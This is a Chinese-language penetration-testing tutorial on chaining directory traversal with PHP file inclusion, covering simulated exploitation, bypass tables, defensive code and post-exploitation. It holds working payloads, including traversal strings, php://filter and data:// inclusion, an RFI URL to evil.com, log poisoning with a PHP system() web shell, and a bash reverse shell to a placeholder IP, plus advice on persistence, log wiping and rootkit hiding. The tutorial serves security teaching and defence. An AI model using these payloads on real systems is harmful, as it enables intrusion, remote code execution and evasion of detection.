1. 项目概述:当目录穿越遇上文件包含
在Web安全测试和渗透测试的日常工作中,我们经常会遇到一些看似独立、实则关联紧密的漏洞。其中,“目录穿越漏洞”和“文件包含漏洞”就是一对经典的“黄金搭档”。单独来看,它们各自都有一定的危害,但一旦组合起来,其威力往往能产生1+1>2的效果,甚至可能直接导致服务器被完全控制。今天,我们就来深入拆解这对组合拳,从原理、利用到防御,结合实战案例,让你彻底搞懂它们是如何协同工作的。
简单来说,目录穿越漏洞(Directory Traversal)允许攻击者访问Web应用根目录之外的文件系统路径。而文件包含漏洞(File Inclusion)则允许攻击者将服务器上的本地文件或远程文件包含到当前脚本中执行。当应用存在文件包含漏洞,但限制了可包含的文件路径或文件名时,如果同时存在目录穿越漏洞,攻击者就能利用后者“穿越”到限制目录之外,读取或执行任意文件。这就像你家的保险柜(文件包含)本来只允许放客厅抽屉里的钥匙(特定目录文件),但有人发现你家墙壁(路径校验)有个洞(目录穿越),他就能伸手到卧室甚至邻居家,把任何他想要的钥匙(如/etc/passwd、Webshell)塞进你的保险柜并打开它。
2. 漏洞原理深度解析与关联性
要理解这对组合,我们必须先拆开看每个漏洞的独立运作机制,然后再看它们是如何“握手”并产生化学反应的。
2.1 目录穿越漏洞的核心原理
目录穿越,也叫路径遍历。其根本原因在于,程序在处理文件路径参数时,未对用户输入中包含的“../”(上级目录)等特殊序列进行充分的过滤或规范化。
一个典型的脆弱代码片段(PHP示例):
$file = $_GET['file']; // 用户可控,例如 file=../../etc/passwd readfile('/var/www/html/uploads/' . $file);这段代码的本意是读取uploads目录下的文件。但如果攻击者传入file=../../../etc/passwd,拼接后的路径就变成了/var/www/html/uploads/../../../etc/passwd,经过系统路径解析后,就等价于/etc/passwd,从而成功读取了系统敏感文件。
关键点在于路径的“相对性”。Web应用通常有一个文档根目录(如/var/www/html),服务器配置会限制脚本只能访问该目录下的文件。但目录穿越利用../跳出这个“监狱”。不同的操作系统和编码环境需要注意:
- Unix/Linux: 使用
../ - Windows: 使用
..\,也可能接受../。绝对路径如C:\Windows\system.ini也可能在某些场景下被直接读取。 - URL编码绕过: 开发者可能简单过滤字符串
../,但攻击者可以使用URL编码,如%2e%2e%2f(../),%2e%2e/(../),..%2f(../),甚至双重编码%252e%252e%252f。 - 绝对路径绕过: 如果校验逻辑不严,直接使用绝对路径
/etc/passwd也可能成功。
2.2 文件包含漏洞的核心原理
文件包含漏洞主要发生在使用文件包含函数的语言中,如PHP的include(),require(),include_once(),require_once()。JSP的<%@ include file="..." %>等也有类似风险,但PHP最为常见。
漏洞产生的原因是开发者动态包含了用户可控的变量作为文件名的一部分,且未对输入进行有效限制。
本地文件包含(LFI)示例:
$page = $_GET['page']; // 例如 page=about.php include('/templates/' . $page . '.php');如果攻击者传入page=../../../etc/passwd%00(在PHP版本<5.3.4时,%00空字节可以截断后面的.php),就可能包含系统文件。即使没有空字节,如果/templates目录下存在可控文件(如上传的图片马),也能包含执行。
远程文件包含(RFI)示例:
include($_GET['url'] . '.php'); // 例如 url=http://evil.com/shell如果allow_url_include配置为On(默认已关闭),攻击者可以直接包含远程服务器上的恶意脚本,导致代码执行。
LFI的常见利用方式不止于读取文件:
- 日志文件注入:包含Apache/Nginx的访问日志或错误日志,先在User-Agent或请求路径中注入PHP代码,再通过LFI包含该日志文件,代码就会被执行。
- Session文件包含:包含
/tmp/sess_[sessionid]文件,如果能在Session中写入PHP代码(如通过表单),再包含自己的Session文件即可执行代码。 - PHP封装协议:这是LFI利用的大杀器。即使不能执行代码,也能利用
php://filter协议读取源码。php://filter/read=convert.base64-encode/resource=index.php:以Base64编码形式读取文件源码,绕过一些显示限制。php://input+ POST传入PHP代码:在allow_url_include开启时,可以执行POST过去的代码。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+:直接包含Base64编码的代码并执行。
2.3 漏洞的关联与组合利用场景
现在,我们把两者结合起来。想象一个场景:一个Web应用有一个“下载功能”,通过download.php?file=report.pdf来下载/var/www/html/downloads/目录下的文件。这里存在目录穿越漏洞,可以读取../../etc/passwd。
同时,这个应用还有一个“主题切换功能”,通过index.php?theme=blue来加载/var/www/html/themes/blue.php主题文件。这里存在本地文件包含漏洞,但因为写死了themes目录和.php后缀,攻击者似乎只能包含themes目录下的PHP文件。
组合利用链就此形成:
- 信息收集:利用目录穿越漏洞
download.php?file=../../index.php,读取存在文件包含漏洞的index.php源码,分析其包含逻辑。 - 路径突破:发现包含语句是
include('./themes/' . $_GET['theme'] . '.php');。单纯传入../../../etc/passwd会因为后缀.php导致包含失败(/etc/passwd.php不存在)。 - 利用穿越提供有效载荷:此时,目录穿越漏洞派上用场。攻击者可以先通过文件上传或其他方式,将一个包含PHP代码的文本文件(比如图片马
shell.jpg)放到服务器上一个已知路径,例如通过上传功能传到/tmp/目录,或者利用日志、环境变量(/proc/self/environ)等。 - 构造最终攻击:结合两个漏洞参数。向文件包含点发起请求:
index.php?theme=../../../tmp/shell.jpg。虽然加了.php后缀,变成了../../../tmp/shell.jpg.php,但服务器在解析路径时,会先进行路径遍历跳转。如果/tmp/shell.jpg文件开头恰好有<?php ... ?>代码,某些PHP配置(如cgi.fix_pathinfo=1)会将它当作PHP文件来解析执行!这就成功地将目录穿越作为“桥梁”,让受限制的文件包含漏洞吃到了“桥对面”的恶意文件,最终达成远程代码执行(RCE)。
注意:这种利用方式对PHP配置有要求(
cgi.fix_pathinfo默认常为1),且需要能预测或控制目标文件的内容和位置。在实际渗透中,日志文件注入和Session文件包含是更稳定常见的LFI to RCE手段。
3. 实战场景模拟与漏洞挖掘
理解了原理,我们通过一个高度简化的模拟场景来还原漏洞挖掘过程。假设我们面对一个目标:http://vuln-app.com。
3.1 信息收集与功能点分析
首先,进行常规的信息收集:
- 目录扫描:使用
dirsearch或gobuster扫描,发现以下路径:/index.php/download.php/view.php/upload/(目录)/images/(目录)
- 参数分析:通过爬虫或手动测试,发现:
download.php有file参数:/download.php?file=manual.pdfview.php有page参数:/view.php?page=homeindex.php有lang参数:/index.php?lang=en
3.2 测试目录穿越漏洞
我们优先测试看起来像文件操作的download.php。
- 基础测试:尝试
file=../../../../etc/passwd。返回“文件不存在”或403错误。这不一定代表漏洞不存在,可能是过滤或路径不对。 - 编码绕过测试:尝试
file=..%2f..%2f..%2f..%2fetc%2fpasswd。返回“非法参数”。可能检测了../或etc等关键字。 - 绝对路径测试:尝试
file=/etc/passwd。返回了系统的/etc/passwd文件内容!这说明后端直接拼接了用户输入,且没有限制相对路径,但可能做了简单的../过滤。绝对路径绕过成功。 - 进一步利用:既然可以读文件,我们尝试读取Web应用的源码,以寻找其他漏洞。读取
file=/var/www/html/index.php(路径可能需要猜测或通过报错信息泄露)。成功获取源码后,我们发现关键代码:
发现疑似文件包含点!包含路径基于// index.php 片段 $language = isset($_GET['lang']) ? $_GET['lang'] : 'en'; include_once('./languages/' . $language . '.php');./languages/目录,用户可控变量$language直接拼接。
3.3 测试文件包含漏洞
现在测试index.php的lang参数。
- 基础LFI测试:尝试
lang=../../../../etc/passwd。页面报错或空白,可能是因为包含了非PHP文件导致语法错误,或者路径不对。 - 使用PHP过滤器:尝试
lang=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd。这次返回了一大串Base64编码,解码后正是/etc/passwd的内容!确认存在本地文件包含漏洞。过滤器协议帮助我们绕过了包含非PHP文件导致的解析问题。 - 尝试包含源码:利用过滤器读取自身源码
lang=php://filter/read=convert.base64-encode/resource=index.php,验证漏洞并分析更多逻辑。 - 尝试RFI:尝试
lang=http://evil.com/shell.txt。页面返回警告“仅允许包含本地文件”。说明allow_url_include为Off,或程序做了远程协议禁用,RFI不可行。
3.4 组合利用尝试
目前我们有一个能任意读文件的目录穿越(download.php?file=),和一个能包含本地文件的LFI漏洞(index.php?lang=),但LFI被限制在包含.php文件(或者包含其他文件会出错)。我们的目标是执行代码。
思路:利用目录穿越漏洞,将一个包含PHP代码的文件“放置”到服务器上一个可预测的位置,然后通过LFI漏洞去包含它。
实操步骤:
- 寻找可写或固定位置:通过目录穿越读取一些系统文件,寻找线索。
- 读取
/proc/self/environ(Linux) 可能泄露路径、用户信息。 - 读取
/var/log/apache2/access.log,发现日志记录在默认位置,且我们作为Web用户可读。
- 读取
- 利用日志文件注入:这是最经典的组合技。
- 步骤一:污染日志。我们向网站发起一个请求,在HTTP头中注入PHP代码。因为
User-Agent会被记录到访问日志中。curl -A "<?php system(\$_GET['cmd']); ?>" http://vuln-app.com/ - 步骤二:确认日志路径。通过目录穿越读取
/etc/apache2/sites-available/000-default.conf或类似配置文件,找到CustomLog指令,确认访问日志的绝对路径,例如/var/log/apache2/vuln-app-access.log。或者直接尝试常见路径。 - 步骤三:通过LFI包含日志文件。现在,我们使用文件包含漏洞,通过PHP过滤器先读取日志文件,确认我们的代码是否被写入。
解码后,在日志中搜索我们注入的/index.php?lang=php://filter/read=convert.base64-encode/resource=/var/log/apache2/vuln-app-access.log<?php system($_GET['cmd']);?>,确认存在。 - 步骤四:执行代码。直接包含日志文件(不使用过滤器),并传递
cmd参数。由于日志文件是文本,需要确保PHP配置能解析它(cgi.fix_pathinfo=1是关键)。请求:
如果配置允许,服务器会将日志文件当作PHP解析,执行我们注入的代码,并返回命令/index.php?lang=/var/log/apache2/vuln-app-access.log&cmd=idid的执行结果。至此,我们通过目录穿越(辅助信息收集/确认路径) + 文件包含,完成了从信息泄露到远程代码执行(RCE)的完整攻击链。
- 步骤一:污染日志。我们向网站发起一个请求,在HTTP头中注入PHP代码。因为
实操心得:在实际测试中,日志文件可能很大,包含时可能超时或出错。可以尝试在注入代码时,让请求访问一个不存在的路径(如
/<?phpinfo();?>),这样日志记录会更集中,便于包含。另外,/proc/self/fd/目录下的文件描述符有时会指向当前进程打开的文件(如日志),也是可尝试的包含目标。
4. 漏洞挖掘工具与手动测试技巧
自动化工具能提高效率,但手动测试和理解上下文至关重要。
4.1 常用工具集
- 扫描与发现:
- Burp Suite:Intruder模块用于对参数进行模糊测试(Fuzzing),使用包含
../、编码变形、绝对路径等的字典。 - Dirsearch / Gobuster:发现可能存在文件操作的功能端点。
- FFUF:更快的Web模糊测试工具,可以用于发现参数和测试路径遍历。
- Burp Suite:Intruder模块用于对参数进行模糊测试(Fuzzing),使用包含
- Payload字典:一个强大的字典是关键。
- SecLists:项目中的
Fuzzing/目录,特别是traversal.txt和LFI/下的字典,包含了各种操作系统和绕过手法的Payload。 - 自定义字典:根据目标信息(中间件、OS、框架)调整字典,加入可能的绝对路径(如
C:\windows\system.ini、/etc/hosts)。
- SecLists:项目中的
4.2 手动测试方法论
- 参数识别:关注所有接收文件、路径、名称、模板、语言等字符串的参数。不仅是
GET,POST、Cookie、Header(如X-Forwarded-For可能写入日志)都可能存在漏洞。 - 错误信息分析:输入异常Payload时,仔细查看返回的错误信息。数据库错误、文件未找到错误、路径解析错误都可能泄露绝对路径、服务器技术栈等关键信息。
- 层层递进:
- 第一步:简单验证。输入几个
../,看响应是否变化(如从200变成404或500)。 - 第二步:常见文件测试。尝试读取
/etc/passwd(Linux)、C:\Windows\System32\drivers\etc\hosts(Windows)等。 - 第三步:读取应用自身文件。尝试读取Web应用的配置文件(如
config.php、web.config)、源码文件,以发现数据库密码、其他API密钥或更多漏洞点。 - 第四步:利用协议与技巧。尝试
php://filter读取源码,尝试php://input进行POST代码执行,尝试包含/proc/self/environ等。
- 第一步:简单验证。输入几个
- 上下文感知:如果参数值会被添加后缀(如
.php、.html),考虑使用空字节截断(%00,仅限老版本PHP)或利用?、#在URL中截断(如../../../etc/passwd%00.jpg,但需要服务器处理方式特殊)。更多时候,需要结合日志注入、文件上传等二次利用。
4.3 常见绕过技巧总结
| 过滤场景 | 可能的绕过方式 |
|---|---|
简单过滤../ | 使用..\(Windows)、%2e%2e%2f、..%2f、%252e%252e%252f(双重URL编码) |
过滤etc/passwd等关键字 | 使用路径缩写、通配符(部分系统支持)、或读取其他敏感文件(如/etc/hosts,/proc/self/cmdline) |
| 要求参数以特定后缀结尾 | 尝试空字节截断 (%00)、使用?或#在URL中使后缀成为查询片段或锚点(如file=../../../etc/passwd%23.jpg) |
| 路径被编码或解码后校验 | 尝试多重编码、混合编码、畸形的Unicode编码 |
| 仅允许包含特定目录下文件 | 利用目录穿越跳出限制目录(组合漏洞的核心),或利用该目录下已存在的可控制文件(如上传的图片) |
注意事项:空字节截断 (
%00) 在PHP 5.3.4及以上版本已被修复,在绝大多数现代环境中已无效。不要将其作为主要利用手段,但了解其历史是必要的。
5. 防御方案设计与代码层面修复
知其然,更要知其所以然。知道了怎么攻击,才能更好地防御。防御的核心原则是:不信任任何用户输入,对输入进行严格的白名单校验,并在操作文件时使用绝对路径并限定操作范围。
5.1 输入验证与过滤
黑名单过滤(不推荐):试图过滤掉../、..\、etc等危险字符列表。这种方法极易被绕过,如上表所示。
// 脆弱的黑名单示例 $bad = array('../', '..\\', 'etc/passwd', 'php://'); $file = str_replace($bad, '', $_GET['file']);攻击者可以使用....//绕过(过滤一次后变成../)。
白名单校验(推荐):定义允许的字符或文件列表。
// 1. 基于后缀的白名单 $allowed_extensions = array('.pdf', '.txt', '.jpg'); $file = $_GET['file']; $ext = strtolower(substr($file, strrpos($file, '.'))); if (!in_array($ext, $allowed_extensions)) { die('Invalid file type.'); } // 注意:仍需结合路径校验,防止 file=../../../evil.jpg // 2. 基于文件名的白名单(适用于已知固定文件) $allowed_files = array('report.pdf', 'manual.docx'); $file = basename($_GET['file']); // 使用 basename 去除路径 if (!in_array($file, $allowed_files)) { die('File not allowed.'); } $filepath = '/var/www/html/downloads/' . $file;5.2 路径规范化与目录限定
这是最核心、最有效的防御手段。
使用
basename()函数:该函数返回路径中的文件名部分,会自动去除任何目录成分。但注意:basename()在遇到空字节时可能行为异常,且不处理非ASCII字符的问题,应先做输入清理。$file = $_GET['file']; // 先移除可能的空字节 $file = str_replace(chr(0), '', $file); $filename = basename($file); $filepath = '/var/www/html/uploads/' . $filename; if (!is_file($filepath)) { die('File not found.'); }使用绝对路径 + 前缀校验:将用户输入拼接在固定的基础目录后,然后使用
realpath()函数解析规范路径,并检查解析后的路径是否仍以允许的基础目录开头。$base_dir = '/var/www/html/static/'; // 允许访问的根目录 $user_input = $_GET['file']; // 拼接路径 $full_path = realpath($base_dir . $user_input); // 关键校验:解析后的路径是否以 $base_dir 开头? if ($full_path === false || strpos($full_path, $base_dir) !== 0) { // 路径解析失败,或不在允许的目录内 die('Access denied.'); } // 安全,可以使用 $full_path readfile($full_path);realpath()的作用:它会解析路径中的.、..和符号链接,返回一个标准的绝对路径。如果路径不存在或包含无效的遍历,可能返回false。通过比较$full_path和$base_dir的前缀,可以确保文件没有“逃出”允许的目录。使用chroot或文件系统沙箱(高级):对于高安全要求的环境,可以考虑使用chroot jail将Web进程限制在文件系统的一个子目录中,从根本上杜绝目录穿越。
5.3 文件包含漏洞的专项防御
避免动态包含用户输入:这是治本之策。如果必须动态包含,使用白名单映射。
$page_map = array( 'home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php', ); $key = $_GET['page']; if (array_key_exists($key, $page_map)) { include('./templates/' . $page_map[$key]); } else { include('./templates/error.php'); }关闭危险配置:在PHP中,确保
php.ini中以下配置为Off:allow_url_fopen = Offallow_url_include = Offcgi.fix_pathinfo = 0(设置为0可以防止将shell.jpg当作shell.jpg.php解析,但可能影响某些合法应用,需评估)
设置
open_basedir:在PHP配置或代码中设置open_basedir,将PHP脚本可访问的文件限制在指定目录树内。这是一个有效的补充防御,但并非绝对安全(历史上存在绕过方式)。; php.ini open_basedir = /var/www/html/:/tmp/
5.4 安全开发框架与习惯
- 使用安全的API:许多现代Web框架提供了安全的文件读取、下载方法,会自动处理路径安全问题。
- 最小权限原则:运行Web服务的用户(如
www-data,nginx)应仅拥有对Web根目录的必要读写权限,对系统其他文件只有最小读权限或无权限。 - 代码审计与安全测试:将目录遍历和文件包含作为代码审计和渗透测试的必查项。使用SAST(静态应用安全测试)工具辅助发现潜在漏洞。
6. 从漏洞到渗透:高级利用与后渗透思路
当我们通过目录穿越+文件包含拿到一个Webshell(代码执行权限)后,工作才刚刚开始。我们需要将其转化为一个稳定的、持久的控制通道,并探索内网。
6.1 权限提升与持久化
- 信息收集:执行
whoami,id,uname -a,cat /etc/passwd,ps aux等命令,了解当前用户权限、系统架构、运行的服务。 - 寻找提权向量:检查是否有sudo权限(
sudo -l),查找SUID/GUID文件(find / -perm -u=s -type f 2>/dev/null),查看内核版本搜索公开漏洞。 - 写入Webshell:如果当前目录可写,写入一个更稳定的Webshell(如蚁剑、冰蝎的免杀马)到Web目录下。
- 建立反向Shell:Webshell通常交互性差。使用
nc,bash,python,php等命令建立反向连接到你的公网服务器。# 在你的服务器上监听 nc -lvnp 4444 # 在Webshell中执行(假设目标有nc) bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' - 持久化后门:添加计划任务(
crontab)、写入SSH密钥、修改系统服务或动态链接库等。
6.2 内网横向移动
获得一个立足点后,视角转向内网。
- 网络探测:使用
ifconfig/ip addr查看当前主机IP,使用netstat -antp查看网络连接和开放端口。上传nmap静态二进制文件或使用脚本进行内网扫描。 - 密码与密钥收集:寻找Web应用配置文件(
config.php,web.config,.env)、数据库连接字符串、历史命令(history)、用户主目录下的.ssh/目录、/etc/shadow(如果可读)等。 - 利用信任关系:如果获取到数据库密码,尝试连接数据库,可能存储着其他系统密码。如果获取到其他机器的SSH密钥,尝试横向登录。
- 端口转发与代理:在已控主机上搭建代理(如使用
reGeorg,EarthWorm),将内网服务的端口转发到本地,以便用你本地的工具进行深入测试。
6.3 痕迹清理与防御规避
在授权测试中,清理痕迹是职业操守;在非法攻击中,这是逃避检测。了解它有助于防守方。
- 日志清理:修改或删除包含你攻击记录的Web日志(
access.log,error.log)和系统日志(auth.log,secure)。注意日志可能被实时监控或发送到远程日志服务器。 - 文件隐藏:将Webshell文件属性修改为隐藏(以点开头),或放在大量文件中混淆视听。修改文件时间戳(
touch -r)。 - 进程隐藏:使用rootkit或更隐蔽的方式运行后门进程。
- 流量加密:使用加密的Webshell(如冰蝎)或隧道工具,避免通信特征被IDS/IPS检测。
7. 防御体系构建与安全运维建议
对于企业和开发者而言,修复单个漏洞是“点”,构建防御体系是“面”。
- 安全开发生命周期(SDL):将安全要求嵌入需求、设计、编码、测试、部署全流程。对开发人员进行安全编码培训。
- Web应用防火墙(WAF):部署WAF可以有效拦截常见的目录穿越、文件包含攻击Payload。但WAF不是万能的,可能存在绕过,需与代码安全结合。
- 定期漏洞扫描与渗透测试:使用自动化工具(如Nessus, AWVS)定期扫描,并聘请专业团队进行人工渗透测试,主动发现潜在风险。
- 最小权限与网络隔离:严格遵循最小权限原则配置服务器和数据库账户。将Web服务器部署在DMZ区,与核心内网进行隔离。
- 日志集中监控与告警:将服务器、应用、数据库日志集中收集到SIEM(安全信息与事件管理)系统,并设置针对可疑路径访问、异常文件包含操作等行为的告警规则。
- 入侵检测系统(HIDS):在服务器上安装HIDS(如OSSEC, Wazuh),监控文件完整性(如Web目录下文件被篡改)、异常进程、可疑命令执行等。
说到底,安全是一个持续的过程,而非一劳永逸的状态。目录穿越和文件包含这类基础漏洞,之所以长期存在,往往是因为开发初期对安全的不重视或认知不足。作为安全人员,我们的价值不仅在于找出这些漏洞,更在于推动整个团队建立并践行“安全第一”的思维模式,将防线前置到代码编写的那一刻。每一次成功的防御,都比一次漂亮的攻击更有价值。